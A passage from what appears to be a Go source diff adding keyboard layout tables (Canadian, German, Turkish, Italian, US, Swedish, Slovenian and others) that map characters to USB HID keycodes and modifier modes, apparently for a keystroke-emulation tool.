+		"š":  Command{HID: 47},
+		"Š":  Command{HID: 47, Mode: 2},
+		"Ž":  Command{HID: 49, Mode: 2},
+		"ž":  Command{HID: 49},
+		"5":  Command{HID: 34},
+		"9":  Command{HID: 38},
+		"˘":  Command{HID: 33, Mode: 64},
+		"=":  Command{HID: 39, Mode: 2},
+		"A":  Command{HID: 4, Mode: 2},
+		"Č":  Command{HID: 51, Mode: 2},
+		"č":  Command{HID: 51},
+		"E":  Command{HID: 8, Mode: 2},
+		"Ć":  Command{HID: 52, Mode: 2},
+		"ć":  Command{HID: 52},
+		"M":  Command{HID: 16, Mode: 2},
+		"Q":  Command{HID: 20, Mode: 2},
+		"U":  Command{HID: 24, Mode: 2},
+		"Y":  Command{HID: 29, Mode: 2},
+		"]":  Command{HID: 10, Mode: 64},
+		"Đ":  Command{HID: 48, Mode: 2},
+		"đ":  Command{HID: 48},
+		"a":  Command{HID: 4},
+		"e":  Command{HID: 8},
+		"i":  Command{HID: 12},
+		"m":  Command{HID: 16},
+		"q":  Command{HID: 20},
+		"1":  Command{HID: 30},
+		"u":  Command{HID: 24},
+		"y":  Command{HID: 29},
+		"}":  Command{HID: 17, Mode: 64},
+	},
+	"CA": {
+		" ":         Command{HID: 44},
+		"$":         Command{HID: 33, Mode: 2},
+		"(":         Command{HID: 38, Mode: 2},
+		",":         Command{HID: 54},
+		"0":         Command{HID: 39},
+		"4":         Command{HID: 33},
+		"8":         Command{HID: 37},
+		"<":         Command{HID: 49},
+		"@":         Command{HID: 31, Mode: 64},
+		"D":         Command{HID: 7, Mode: 2},
+		"H":         Command{HID: 11, Mode: 2},
+		"L":         Command{HID: 15, Mode: 2},
+		"P":         Command{HID: 19, Mode: 2},
+		"§":         Command{HID: 18, Mode: 64},
+		"T":         Command{HID: 23, Mode: 2},
+		"X":         Command{HID: 27, Mode: 2},
+		"\\":        Command{HID: 53, Mode: 64},
+		"`":         Command{HID: 52},
+		"d":         Command{HID: 7},
+		"h":         Command{HID: 11},
+		"£":         Command{HID: 32, Mode: 64},
+		"l":         Command{HID: 15},
+		"p":         Command{HID: 19},
+		"t":         Command{HID: 23},
+		"x":         Command{HID: 27},
+		"|":         Command{HID: 53, Mode: 2},
+		"¯":         Command{HID: 53, Mode: 64},
+		"BACKSPACE": Command{HID: 42},
+		"«":         Command{Mode: 2},
+		"#":         Command{HID: 53},
+		"'":         Command{HID: 54, Mode: 2},
+		"+":         Command{HID: 46, Mode: 2},
+		"/":         Command{HID: 32, Mode: 2},
+		"3":         Command{HID: 32},
+		"7":         Command{HID: 36},
+		";":         Command{HID: 51},
+		"?":         Command{HID: 35, Mode: 2},
+		"C":         Command{HID: 6, Mode: 2},
+		"G":         Command{HID: 10, Mode: 2},
+		"K":         Command{HID: 14, Mode: 2},
+		"³":         Command{HID: 38, Mode: 64},
+		"O":         Command{HID: 18, Mode: 2},
+		"S":         Command{HID: 22, Mode: 2},
+		"W":         Command{HID: 26, Mode: 2},
+		"[":         Command{HID: 47, Mode: 64},
+		"_":         Command{HID: 45, Mode: 2},
+		"c":         Command{HID: 6},
+		"g":         Command{HID: 10},
+		"k":         Command{HID: 14},
+		"o":         Command{HID: 18},
+		"s":         Command{HID: 22},
+		"w":         Command{HID: 26},
+		"{":         Command{HID: 52, Mode: 64},
+		"»":         Command{},
+		"É":         Command{HID: 56, Mode: 2},
+		"é":         Command{HID: 56},
+		"\"":        Command{HID: 31, Mode: 2},
+		"&":         Command{HID: 36, Mode: 2},
+		"*":         Command{HID: 37, Mode: 2},
+		".":         Command{HID: 55},
+		"2":         Command{HID: 31},
+		"6":         Command{HID: 35},
+		":":         Command{HID: 51, Mode: 2},
+		">":         Command{HID: 49, Mode: 2},
+		"B":         Command{HID: 5, Mode: 2},
+		"F":         Command{HID: 9, Mode: 2},
+		"J":         Command{HID: 13, Mode: 2},
+		"N":         Command{HID: 17, Mode: 2},
+		"R":         Command{HID: 21, Mode: 2},
+		"V":         Command{HID: 25, Mode: 2},
+		"Z":         Command{HID: 29, Mode: 2},
+		"^":         Command{HID: 47},
+		"¤":         Command{HID: 34, Mode: 64},
+		"¦":         Command{HID: 36, Mode: 64},
+		"b":         Command{HID: 5},
+		"¢":         Command{HID: 33, Mode: 64},
+		"f":         Command{HID: 9},
+		"¬":         Command{HID: 35, Mode: 64},
+		"­":         Command{HID: 55, Mode: 64},
+		"j":         Command{HID: 13},
+		"¨":         Command{HID: 48, Mode: 2},
+		"n":         Command{HID: 17},
+		"´":         Command{HID: 56, Mode: 64},
+		"µ":         Command{HID: 16, Mode: 64},
+		"¶":         Command{HID: 19, Mode: 64},
+		"r":         Command{HID: 21},
+		"°":         Command{Mode: 64},
+		"±":         Command{HID: 30, Mode: 64},
+		"²":         Command{HID: 37, Mode: 64},
+		"v":         Command{HID: 25},
+		"¼":         Command{HID: 39, Mode: 64},
+		"½":         Command{HID: 45, Mode: 64},
+		"¾":         Command{HID: 46, Mode: 64},
+		"z":         Command{HID: 29},
+		"¸":         Command{HID: 48},
+		"~":         Command{HID: 51, Mode: 64},
+		"!":         Command{HID: 30, Mode: 2},
+		"%":         Command{HID: 34, Mode: 2},
+		")":         Command{HID: 39, Mode: 2},
+		"-":         Command{HID: 45},
+		"1":         Command{HID: 30},
+		"5":         Command{HID: 34},
+		"9":         Command{HID: 38},
+		"=":         Command{HID: 46},
+		"A":         Command{HID: 4, Mode: 2},
+		"E":         Command{HID: 8, Mode: 2},
+		"I":         Command{HID: 12, Mode: 2},
+		"M":         Command{HID: 16, Mode: 2},
+		"Q":         Command{HID: 20, Mode: 2},
+		"U":         Command{HID: 24, Mode: 2},
+		"Y":         Command{HID: 28, Mode: 2},
+		"]":         Command{HID: 48, Mode: 64},
+		"a":         Command{HID: 4},
+		"e":         Command{HID: 8},
+		"i":         Command{HID: 12},
+		"m":         Command{HID: 16},
+		"q":         Command{HID: 20},
+		"u":         Command{HID: 24},
+		"y":         Command{HID: 28},
+		"}":         Command{HID: 49, Mode: 64},
+	},
+	"DE": {
+		" ":         Command{HID: 44},
+		"$":         Command{HID: 33, Mode: 2},
+		"(":         Command{HID: 37, Mode: 2},
+		",":         Command{HID: 54},
+		"0":         Command{HID: 39},
+		"4":         Command{HID: 33},
+		"8":         Command{HID: 37},
+		"<":         Command{HID: 100},
+		"@":         Command{HID: 20, Mode: 64},
+		"€":         Command{HID: 8, Mode: 64},
+		"D":         Command{HID: 7, Mode: 2},
+		"H":         Command{HID: 11, Mode: 2},
+		"L":         Command{HID: 15, Mode: 2},
+		"P":         Command{HID: 19, Mode: 2},
+		"§":         Command{HID: 32, Mode: 2},
+		"T":         Command{HID: 23, Mode: 2},
+		"X":         Command{HID: 27, Mode: 2},
+		"\\":        Command{HID: 45, Mode: 64},
+		"`":         Command{HID: 46, Mode: 2},
+		"d":         Command{HID: 7},
+		"h":         Command{HID: 11},
+		"l":         Command{HID: 15},
+		"p":         Command{HID: 19},
+		"t":         Command{HID: 23},
+		"x":         Command{HID: 27},
+		"|":         Command{HID: 100, Mode: 64},
+		"BACKSPACE": Command{HID: 42},
+		"#":         Command{HID: 49},
+		"'":         Command{HID: 49, Mode: 2},
+		"+":         Command{HID: 48},
+		"/":         Command{HID: 36, Mode: 2},
+		"3":         Command{HID: 32},
+		"7":         Command{HID: 36},
+		";":         Command{HID: 54, Mode: 2},
+		"?":         Command{HID: 45, Mode: 2},
+		"C":         Command{HID: 6, Mode: 2},
+		"G":         Command{HID: 10, Mode: 2},
+		"K":         Command{HID: 14, Mode: 2},
+		"³":         Command{HID: 32, Mode: 64},
+		"O":         Command{HID: 18, Mode: 2},
+		"S":         Command{HID: 22, Mode: 2},
+		"W":         Command{HID: 26, Mode: 2},
+		"[":         Command{HID: 37, Mode: 64},
+		"_":         Command{HID: 56, Mode: 2},
+		"c":         Command{HID: 6},
+		"g":         Command{HID: 10},
+		"k":         Command{HID: 14},
+		"o":         Command{HID: 18},
+		"s":         Command{HID: 22},
+		"w":         Command{HID: 26},
+		"{":         Command{HID: 36, Mode: 64},
+		"Ä":         Command{HID: 52, Mode: 2},
+		"ß":         Command{HID: 45},
+		"Ü":         Command{HID: 47, Mode: 2},
+		"ä":         Command{HID: 52},
+		"Ö":         Command{HID: 51, Mode: 2},
+		"\"":        Command{HID: 31, Mode: 2},
+		"&":         Command{HID: 35, Mode: 2},
+		"*":         Command{HID: 48, Mode: 2},
+		".":         Command{HID: 55},
+		"2":         Command{HID: 31},
+		"6":         Command{HID: 35},
+		":":         Command{HID: 55, Mode: 2},
+		"ö":         Command{HID: 51},
+		">":         Command{HID: 100, Mode: 2},
+		"B":         Command{HID: 5, Mode: 2},
+		"F":         Command{HID: 9, Mode: 2},
+		"J":         Command{HID: 13, Mode: 2},
+		"N":         Command{HID: 17, Mode: 2},
+		"R":         Command{HID: 21, Mode: 2},
+		"V":         Command{HID: 25, Mode: 2},
+		"Z":         Command{HID: 28, Mode: 2},
+		"^":         Command{HID: 53},
+		"¤":         Command{HID: 8, Mode: 64},
+		"b":         Command{HID: 5},
+		"f":         Command{HID: 9},
+		"j":         Command{HID: 13},
+		"n":         Command{HID: 17},
+		"r":         Command{HID: 21},
+		"°":         Command{HID: 53, Mode: 2},
+		"²":         Command{HID: 31, Mode: 64},
+		"v":         Command{HID: 25},
+		"z":         Command{HID: 28},
+		"~":         Command{HID: 48, Mode: 64},
+		"ü":         Command{HID: 47},
+		"!":         Command{HID: 30, Mode: 2},
+		"%":         Command{HID: 34, Mode: 2},
+		")":         Command{HID: 38, Mode: 2},
+		"-":         Command{HID: 56},
+		"1":         Command{HID: 30},
+		"5":         Command{HID: 34},
+		"9":         Command{HID: 38},
+		"=":         Command{HID: 39, Mode: 2},
+		"A":         Command{HID: 4, Mode: 2},
+		"E":         Command{HID: 8, Mode: 2},
+		"I":         Command{HID: 12, Mode: 2},
+		"M":         Command{HID: 16, Mode: 2},
+		"Q":         Command{HID: 20, Mode: 2},
+		"U":         Command{HID: 24, Mode: 2},
+		"Y":         Command{HID: 29, Mode: 2},
+		"]":         Command{HID: 38, Mode: 64},
+		"a":         Command{HID: 4},
+		"e":         Command{HID: 8},
+		"i":         Command{HID: 12},
+		"m":         Command{HID: 16},
+		"q":         Command{HID: 20},
+		"u":         Command{HID: 24},
+		"y":         Command{HID: 29},
+		"}":         Command{HID: 39, Mode: 64},
+	},
+	"TR": {
+		" ":         Command{HID: 44},
+		"$":         Command{HID: 33, Mode: 64},
+		"(":         Command{HID: 37, Mode: 2},
+		",":         Command{HID: 49},
+		"0":         Command{HID: 39},
+		"4":         Command{HID: 33},
+		"8":         Command{HID: 37},
+		"<":         Command{HID: 54, Mode: 2},
+		"@":         Command{HID: 20, Mode: 64},
+		"D":         Command{HID: 7, Mode: 2},
+		"H":         Command{HID: 11, Mode: 2},
+		"L":         Command{HID: 15, Mode: 2},
+		"P":         Command{HID: 19, Mode: 2},
+		"T":         Command{HID: 23, Mode: 2},
+		"X":         Command{HID: 27, Mode: 2},
+		"\\":        Command{HID: 45, Mode: 64},
+		"`":         Command{HID: 49, Mode: 64},
+		"d":         Command{HID: 7},
+		"h":         Command{HID: 11},
+		"l":         Command{HID: 15},
+		"p":         Command{HID: 19},
+		"t":         Command{HID: 23},
+		"x":         Command{HID: 27},
+		"|":         Command{HID: 49, Mode: 2},
+		"BACKSPACE": Command{HID: 42},
+		"#":         Command{HID: 32, Mode: 64},
+		"'":         Command{HID: 31, Mode: 2},
+		"+":         Command{HID: 33, Mode: 2},
+		"/":         Command{HID: 36, Mode: 2},
+		"3":         Command{HID: 32},
+		"7":         Command{HID: 36},
+		";":         Command{HID: 49, Mode: 2},
+		"?":         Command{HID: 45, Mode: 2},
+		"C":         Command{HID: 6, Mode: 2},
+		"G":         Command{HID: 10, Mode: 2},
+		"K":         Command{HID: 14, Mode: 2},
+		"O":         Command{HID: 18, Mode: 2},
+		"S":         Command{HID: 22, Mode: 2},
+		"W":         Command{HID: 26, Mode: 2},
+		"[":         Command{HID: 37, Mode: 64},
+		"_":         Command{HID: 46, Mode: 2},
+		"c":         Command{HID: 6},
+		"g":         Command{HID: 10},
+		"k":         Command{HID: 14},
+		"o":         Command{HID: 18},
+		"s":         Command{HID: 22},
+		"w":         Command{HID: 26},
+		"{":         Command{HID: 36, Mode: 64},
+		"\"":        Command{HID: 53},
+		"&":         Command{HID: 36, Mode: 2},
+		"*":         Command{HID: 45},
+		".":         Command{HID: 56},
+		"2":         Command{HID: 31},
+		"6":         Command{HID: 35},
+		":":         Command{HID: 56, Mode: 2},
+		">":         Command{HID: 55, Mode: 2},
+		"B":         Command{HID: 5, Mode: 2},
+		"F":         Command{HID: 9, Mode: 2},
+		"J":         Command{HID: 13, Mode: 2},
+		"N":         Command{HID: 17, Mode: 2},
+		"R":         Command{HID: 21, Mode: 2},
+		"V":         Command{HID: 25, Mode: 2},
+		"Z":         Command{HID: 29, Mode: 2},
+		"^":         Command{HID: 32, Mode: 2},
+		"b":         Command{HID: 5},
+		"f":         Command{HID: 9},
+		"j":         Command{HID: 13},
+		"n":         Command{HID: 17},
+		"r":         Command{HID: 21},
+		"v":         Command{HID: 25},
+		"z":         Command{HID: 29},
+		"~":         Command{HID: 48, Mode: 64},
+		"!":         Command{HID: 30, Mode: 2},
+		"%":         Command{HID: 34, Mode: 2},
+		")":         Command{HID: 38, Mode: 2},
+		"-":         Command{HID: 46},
+		"1":         Command{HID: 30},
+		"5":         Command{HID: 34},
+		"9":         Command{HID: 38},
+		"=":         Command{HID: 39, Mode: 2},
+		"A":         Command{HID: 4, Mode: 2},
+		"E":         Command{HID: 8, Mode: 2},
+		"I":         Command{HID: 12, Mode: 2},
+		"M":         Command{HID: 16, Mode: 2},
+		"Q":         Command{HID: 20, Mode: 2},
+		"U":         Command{HID: 24, Mode: 2},
+		"Y":         Command{HID: 28, Mode: 2},
+		"]":         Command{HID: 38, Mode: 64},
+		"a":         Command{HID: 4},
+		"e":         Command{HID: 8},
+		"i":         Command{HID: 52},
+		"m":         Command{HID: 16},
+		"q":         Command{HID: 20},
+		"u":         Command{HID: 24},
+		"y":         Command{HID: 28},
+		"}":         Command{HID: 39, Mode: 64},
+	},
+	"IT": {
+		" ":  Command{HID: 44},
+		"$":  Command{HID: 33, Mode: 2},
+		"(":  Command{HID: 37, Mode: 2},
+		",":  Command{HID: 54},
+		"0":  Command{HID: 39},
+		"4":  Command{HID: 33},
+		"8":  Command{HID: 37},
+		"<":  Command{HID: 100},
+		"@":  Command{HID: 51, Mode: 64},
+		"D":  Command{HID: 7, Mode: 2},
+		"H":  Command{HID: 11, Mode: 2},
+		"L":  Command{HID: 15, Mode: 2},
+		"P":  Command{HID: 19, Mode: 2},
+		"T":  Command{HID: 23, Mode: 2},
+		"X":  Command{HID: 27, Mode: 2},
+		"\\": Command{HID: 53},
+		"d":  Command{HID: 7},
+		"h":  Command{HID: 11},
+		"l":  Command{HID: 15},
+		"p":  Command{HID: 19},
+		"t":  Command{HID: 23},
+		"x":  Command{HID: 27},
+		"|":  Command{HID: 53, Mode: 2},
+		"#":  Command{HID: 52, Mode: 64},
+		"'":  Command{HID: 45},
+		"+":  Command{HID: 48},
+		"/":  Command{HID: 36, Mode: 2},
+		"3":  Command{HID: 32},
+		"7":  Command{HID: 36},
+		";":  Command{HID: 54, Mode: 2},
+		"?":  Command{HID: 45, Mode: 2},
+		"C":  Command{HID: 6, Mode: 2},
+		"G":  Command{HID: 10, Mode: 2},
+		"K":  Command{HID: 14, Mode: 2},
+		"O":  Command{HID: 18, Mode: 2},
+		"S":  Command{HID: 22, Mode: 2},
+		"è":  Command{HID: 47},
+		"W":  Command{HID: 26, Mode: 2},
+		"[":  Command{HID: 47, Mode: 64},
+		"_":  Command{HID: 56, Mode: 2},
+		"c":  Command{HID: 6},
+		"g":  Command{HID: 10},
+		"k":  Command{HID: 14},
+		"ì":  Command{HID: 46},
+		"o":  Command{HID: 18},
+		"s":  Command{HID: 22},
+		"w":  Command{HID: 26},
+		"{":  Command{HID: 47, Mode: 66},
+		"à":  Command{HID: 52},
+		"é":  Command{HID: 47, Mode: 2},
+		"\"": Command{HID: 31, Mode: 2},
+		"&":  Command{HID: 35, Mode: 2},
+		"*":  Command{HID: 48, Mode: 2},
+		".":  Command{HID: 55},
+		"ù":  Command{HID: 49},
+		"2":  Command{HID: 31},
+		"6":  Command{HID: 35},
+		"ò":  Command{HID: 51},
+		":":  Command{HID: 55, Mode: 2},
+		">":  Command{HID: 100, Mode: 2},
+		"B":  Command{HID: 5, Mode: 2},
+		"F":  Command{HID: 9, Mode: 2},
+		"J":  Command{HID: 13, Mode: 2},
+		"N":  Command{HID: 17, Mode: 2},
+		"R":  Command{HID: 21, Mode: 2},
+		"V":  Command{HID: 25, Mode: 2},
+		"Z":  Command{HID: 29, Mode: 2},
+		"^":  Command{HID: 46, Mode: 2},
+		"b":  Command{HID: 5},
+		"f":  Command{HID: 9},
+		"j":  Command{HID: 13},
+		"n":  Command{HID: 17},
+		"r":  Command{HID: 21},
+		"v":  Command{HID: 25},
+		"z":  Command{HID: 29},
+		"!":  Command{HID: 30, Mode: 2},
+		"%":  Command{HID: 34, Mode: 2},
+		")":  Command{HID: 38, Mode: 2},
+		"-":  Command{HID: 56},
+		"1":  Command{HID: 30},
+		"5":  Command{HID: 34},
+		"9":  Command{HID: 38},
+		"=":  Command{HID: 39, Mode: 2},
+		"A":  Command{HID: 4, Mode: 2},
+		"E":  Command{HID: 8, Mode: 2},
+		"I":  Command{HID: 12, Mode: 2},
+		"M":  Command{HID: 16, Mode: 2},
+		"Q":  Command{HID: 20, Mode: 2},
+		"U":  Command{HID: 24, Mode: 2},
+		"Y":  Command{HID: 28, Mode: 2},
+		"]":  Command{HID: 48, Mode: 64},
+		"a":  Command{HID: 4},
+		"e":  Command{HID: 8},
+		"i":  Command{HID: 12},
+		"m":  Command{HID: 16},
+		"q":  Command{HID: 20},
+		"u":  Command{HID: 24},
+		"y":  Command{HID: 28},
+		"}":  Command{HID: 48, Mode: 66},
+	},
+	"US": {
+		" ":         Command{HID: 44},
+		"$":         Command{HID: 33, Mode: 2},
+		"(":         Command{HID: 38, Mode: 2},
+		",":         Command{HID: 54},
+		"0":         Command{HID: 39},
+		"4":         Command{HID: 33},
+		"8":         Command{HID: 37},
+		"<":         Command{HID: 54, Mode: 2},
+		"@":         Command{HID: 31, Mode: 2},
+		"D":         Command{HID: 7, Mode: 2},
+		"H":         Command{HID: 11, Mode: 2},
+		"L":         Command{HID: 15, Mode: 2},
+		"P":         Command{HID: 19, Mode: 2},
+		"T":         Command{HID: 23, Mode: 2},
+		"X":         Command{HID: 27, Mode: 2},
+		"\\":        Command{HID: 49},
+		"`":         Command{HID: 53},
+		"d":         Command{HID: 7},
+		"h":         Command{HID: 11},
+		"l":         Command{HID: 15},
+		"p":         Command{HID: 19},
+		"t":         Command{HID: 23},
+		"x":         Command{HID: 27},
+		"|":         Command{HID: 49, Mode: 2},
+		"BACKSPACE": Command{HID: 42},
+		"#":         Command{HID: 32, Mode: 2},
+		"'":         Command{HID: 52},
+		"+":         Command{HID: 46, Mode: 2},
+		"/":         Command{HID: 56},
+		"3":         Command{HID: 32},
+		"7":         Command{HID: 36},
+		";":         Command{HID: 51},
+		"?":         Command{HID: 56, Mode: 2},
+		"C":         Command{HID: 6, Mode: 2},
+		"G":         Command{HID: 10, Mode: 2},
+		"K":         Command{HID: 14, Mode: 2},
+		"O":         Command{HID: 18, Mode: 2},
+		"S":         Command{HID: 22, Mode: 2},
+		"W":         Command{HID: 26, Mode: 2},
+		"[":         Command{HID: 47},
+		"_":         Command{HID: 45, Mode: 2},
+		"c":         Command{HID: 6},
+		"g":         Command{HID: 10},
+		"k":         Command{HID: 14},
+		"o":         Command{HID: 18},
+		"s":         Command{HID: 22},
+		"w":         Command{HID: 26},
+		"{":         Command{HID: 47, Mode: 2},
+		"\"":        Command{HID: 52, Mode: 2},
+		"&":         Command{HID: 36, Mode: 2},
+		"*":         Command{HID: 37, Mode: 2},
+		".":         Command{HID: 55},
+		"2":         Command{HID: 31},
+		"6":         Command{HID: 35},
+		":":         Command{HID: 51, Mode: 2},
+		">":         Command{HID: 55, Mode: 2},
+		"B":         Command{HID: 5, Mode: 2},
+		"F":         Command{HID: 9, Mode: 2},
+		"J":         Command{HID: 13, Mode: 2},
+		"N":         Command{HID: 17, Mode: 2},
+		"R":         Command{HID: 21, Mode: 2},
+		"V":         Command{HID: 25, Mode: 2},
+		"Z":         Command{HID: 29, Mode: 2},
+		"^":         Command{HID: 35, Mode: 2},
+		"b":         Command{HID: 5},
+		"f":         Command{HID: 9},
+		"j":         Command{HID: 13},
+		"n":         Command{HID: 17},
+		"r":         Command{HID: 21},
+		"v":         Command{HID: 25},
+		"z":         Command{HID: 29},
+		"~":         Command{HID: 53, Mode: 2},
+		"!":         Command{HID: 30, Mode: 2},
+		"%":         Command{HID: 34, Mode: 2},
+		")":         Command{HID: 39, Mode: 2},
+		"-":         Command{HID: 45},
+		"1":         Command{HID: 30},
+		"5":         Command{HID: 34},
+		"9":         Command{HID: 38},
+		"=":         Command{HID: 46},
+		"A":         Command{HID: 4, Mode: 2},
+		"E":         Command{HID: 8, Mode: 2},
+		"I":         Command{HID: 12, Mode: 2},
+		"M":         Command{HID: 16, Mode: 2},
+		"Q":         Command{HID: 20, Mode: 2},
+		"U":         Command{HID: 24, Mode: 2},
+		"Y":         Command{HID: 28, Mode: 2},
+		"]":         Command{HID: 48},
+		"a":         Command{HID: 4},
+		"e":         Command{HID: 8},
+		"i":         Command{HID: 12},
+		"m":         Command{HID: 16},
+		"q":         Command{HID: 20},
+		"u":         Command{HID: 24},
+		"y":         Command{HID: 28},
+		"}":         Command{HID: 48, Mode: 2},
+	},
+	"SV": {
+		"ð":         Command{HID: 7, Mode: 64},
+		" ":         Command{HID: 44},
+		"$":         Command{HID: 33, Mode: 64},
+		"(":         Command{HID: 37, Mode: 2},
+		",":         Command{HID: 54},
+		"0":         Command{HID: 39},
+		"4":         Command{HID: 33},
+		"8":         Command{HID: 37},
+		"<":         Command{HID: 100},
+		"@":         Command{HID: 31, Mode: 64},
+		"€":         Command{HID: 8, Mode: 64},
+		"D":         Command{HID: 7, Mode: 2},
+		"H":         Command{HID: 11, Mode: 2},
+		"L":         Command{HID: 15, Mode: 2},
+		"P":         Command{HID: 19, Mode: 2},
+		"§":         Command{HID: 53},
+		"T":         Command{HID: 23, Mode: 2},
+		"X":         Command{HID: 27, Mode: 2},
+		"\\":        Command{HID: 45, Mode: 64},
+		"`":         Command{HID: 46, Mode: 2},
+		"d":         Command{HID: 7},
+		"h":         Command{HID: 11},
+		"£":         Command{HID: 32, Mode: 64},
+		"l":         Command{HID: 15},
+		"p":         Command{HID: 19},
+		"t":         Command{HID: 23},
+		"x":         Command{HID: 27},
+		"|":         Command{HID: 100, Mode: 64},
+		"BACKSPACE": Command{HID: 42},
+		"«":         Command{HID: 33},
+		"#":         Command{HID: 32, Mode: 2},
+		"'":         Command{HID: 49},
+		"+":         Command{HID: 45},
+		"/":         Command{HID: 36, Mode: 2},
+		"3":         Command{HID: 32},
+		"7":         Command{HID: 36},
+		";":         Command{HID: 54, Mode: 2},
+		"?":         Command{HID: 45, Mode: 2},
+		"C":         Command{HID: 6, Mode: 2},
+		"G":         Command{HID: 10, Mode: 2},
+		"K":         Command{HID: 14, Mode: 2},
+		"O":         Command{HID: 18, Mode: 2},
+		"S":         Command{HID: 22, Mode: 2},
+		"W":         Command{HID: 26, Mode: 2},
+		"[":         Command{HID: 37, Mode: 64},
+		"_":         Command{HID: 56, Mode: 2},
+		"c":         Command{HID: 6},
+		"g":         Command{HID: 10},
+		"k":         Command{HID: 14},
+		"o":         Command{HID: 18},
+		"s":         Command{HID: 22},
+		"w":         Command{HID: 26},
+		"{":         Command{HID: 36, Mode: 64},
+		"Å":         Command{HID: 47, Mode: 2},
+		"Ä":         Command{HID: 52, Mode: 2},
+		"ß":         Command{HID: 22, Mode: 64},
+		"ä":         Command{HID: 52},
+		"Ö":         Command{HID: 51, Mode: 2},
+		"\"":        Command{HID: 31, Mode: 2},
+		"&":         Command{HID: 35, Mode: 2},
+		"*":         Command{HID: 49, Mode: 2},
+		"å":         Command{HID: 47},
+		".":         Command{HID: 55},
+		"2":         Command{HID: 31},
+		"þ":         Command{HID: 23, Mode: 64},
+		"6":         Command{HID: 35},
+		":":         Command{HID: 55, Mode: 2},
+		"ö":         Command{HID: 51},
+		">":         Command{HID: 100, Mode: 2},
+		"B":         Command{HID: 5, Mode: 2},
+		"F":         Command{HID: 9, Mode: 2},
+		"J":         Command{HID: 13, Mode: 2},
+		"N":         Command{HID: 17, Mode: 2},
+		"R":         Command{HID: 21, Mode: 2},
+		"V":         Command{HID: 25, Mode: 2},
+		"Z":         Command{HID: 29, Mode: 2},
+		"^":         Command{HID: 48, Mode: 2},
+		"¤":         Command{HID: 33, Mode: 2},
+		"b":         Command{HID: 5},
+		"f":         Command{HID: 9},
+		"j":         Command{HID: 13},
+		"n":         Command{HID: 17},
+		"µ":         Command{HID: 16, Mode: 64},
+		"r":         Command{HID: 21},
+		"v":         Command{HID: 25},
+		"½":         Command{HID: 53, Mode: 2},
+		"z":         Command{HID: 29},
+		"!":         Command{HID: 30, Mode: 2},
+		"%":         Command{HID: 34, Mode: 2},
+		")":         Command{HID: 38, Mode: 2},
+		"-":         Command{HID: 56},
+		"1":         Command{HID: 30},
+		"5":         Command{HID: 34},
+		"9":         Command{HID: 38},
+		"=":         Command{HID: 39, Mode: 2},
+		"A":         Command{HID: 4, Mode: 2},
+		"E":         Command{HID: 8, Mode: 2},
+		"I":         Command{HID: 12, Mode: 2},
+		"M":         Command{HID: 16, Mode: 2},
+		"Q":         Command{HID: 20, Mode: 2},
+		"U":         Command{HID: 24, Mode: 2},
+		"Y":         Command{HID: 28, Mode: 2},
+		"]":         Command{HID: 38, Mode: 64},
+		"a":         Command{HID: 4},
+		"e":         Command{HID: 8},
+		"i":         Command{HID: 12},
+		"m":         Command{HID: 16},
+		"q":         Command{HID: 20},
+		"u":         Command{HID: 24},
+		"y":         Command{HID: 28},
+		"}":         Command{HID: 39, Mode: 64},
+	},
+	"SI": {
+		"-":  Command{HID: 56},
+		" ":  Command{HID: 44},
+		"$":  Command{HID: 33, Mode: 2},
+		"(":  Command{HID: 37, Mode: 2},
+		",":  Command{HID: 54},
+		"0":  Command{HID: 39},
+		"4":  Command{HID: 33},
+		"8":  Command{HID: 37},
+		"<":  Command{HID: 100},
+		"@":  Command{HID: 25, Mode: 64},
+		"€":  Command{HID: 8, Mode: 64},
+		"D":  Command{HID: 7, Mode: 2},
+		"H":  Command{HID: 11, Mode: 2},
+		"L":  Command{HID: 15, Mode: 2},
+		"P":  Command{HID: 19, Mode: 2},
+		"§":  Command{HID: 16, Mode: 64},
+		"T":  Command{HID: 23, Mode: 2},
+		"X":  Command{HID: 27, Mode: 2},
+		"\\": Command{HID: 20, Mode: 64},
+		"`":  Command{HID: 36, Mode: 64},
+		"d":  Command{HID: 7},
+		"h":  Command{HID: 11},
+		"l":  Command{HID: 15},
+		"p":  Command{HID: 19},
+		"t":  Command{HID: 23},
+		"x":  Command{HID: 27},
+		"|":  Command{HID: 26, Mode: 64},
+		"#":  Command{HID: 32, Mode: 2},
+		"'":  Command{HID: 45},
+		"+":  Command{HID: 46},
+		"/":  Command{HID: 36, Mode: 2},
+		"I":  Command{HID: 12, Mode: 2},
+		"3":  Command{HID: 32},
+		"7":  Command{HID: 36},
+		";":  Command{HID: 54, Mode: 2},
+		"?":  Command{HID: 45, Mode: 2},
+		"C":  Command{HID: 6, Mode: 2},
+		"G":  Command{HID: 10, Mode: 2},
+		"K":  Command{HID: 14, Mode: 2},
+		"O":  Command{HID: 18, Mode: 2},
+		"S":  Command{HID: 22, Mode: 2},
+		"W":  Command{HID: 26, Mode: 2},
+		"[":  Command{HID: 9, Mode: 64},
+		"_":  Command{HID: 56, Mode: 2},
+		"c":  Command{HID: 6},
+		"g":  Command{HID: 10},
+		"k":  Command{HID: 14},
+		"o":  Command{HID: 18},
+		"s":  Command{HID: 22},
+		"w":  Command{HID: 26},
+		"{":  Command{HID: 5, Mode: 64},
+		"ß":  Command{HID: 52, Mode: 64},
+		"×":  Command{HID: 48, Mode: 64},
+		"\"": Command{HID: 31, Mode: 2},
+		"ˇ":  Command{HID: 31, Mode: 64},
+		"&":  Command{HID: 35, Mode: 2},
+		"*":  Command{HID: 46, Mode: 2},
+		".":  Command{HID: 55},
+		"2":  Command{HID: 31},
+		"6":  Command{HID: 35},
+		"˛":  Command{HID: 35, Mode: 64},
+		"˙":  Command{HID: 37, Mode: 64},
+		":":  Command{HID: 55, Mode: 2},
+		"÷":  Command{HID: 47, Mode: 64},
+		"˝":  Command{HID: 39, Mode: 64},
+		">":  Command{HID: 100, Mode: 2},
+		"B":  Command{HID: 5, Mode: 2},
+		"F":  Command{HID: 9, Mode: 2},
+		"J":  Command{HID: 13, Mode: 2},
+		"N":  Command{HID: 17, Mode: 2},
+		"R":  Command{HID: 21, Mode: 2},
+		"V":  Command{HID: 25, Mode: 2},
+		"Z":  Command{HID: 28, Mode: 2},
+		"^":  Command{HID: 32, Mode: 64},
+		"¤":  Command{HID: 49, Mode: 64},
+		"b":  Command{HID: 5},
+		"f":  Command{HID: 9},
+		"j":  Command{HID: 13},
+		"¨":  Command{HID: 45, Mode: 64},
+		"n":  Command{HID: 17},
+		"´":  Command{HID: 38, Mode: 64},
+		"r":  Command{HID: 21},
+		"°":  Command{HID: 34, Mode: 64},
+		"v":  Command{HID: 25},
+		"z":  Command{HID: 28},
+		"¸":  Command{HID: 46, Mode: 64},
+		"~":  Command{HID: 30, Mode: 64},
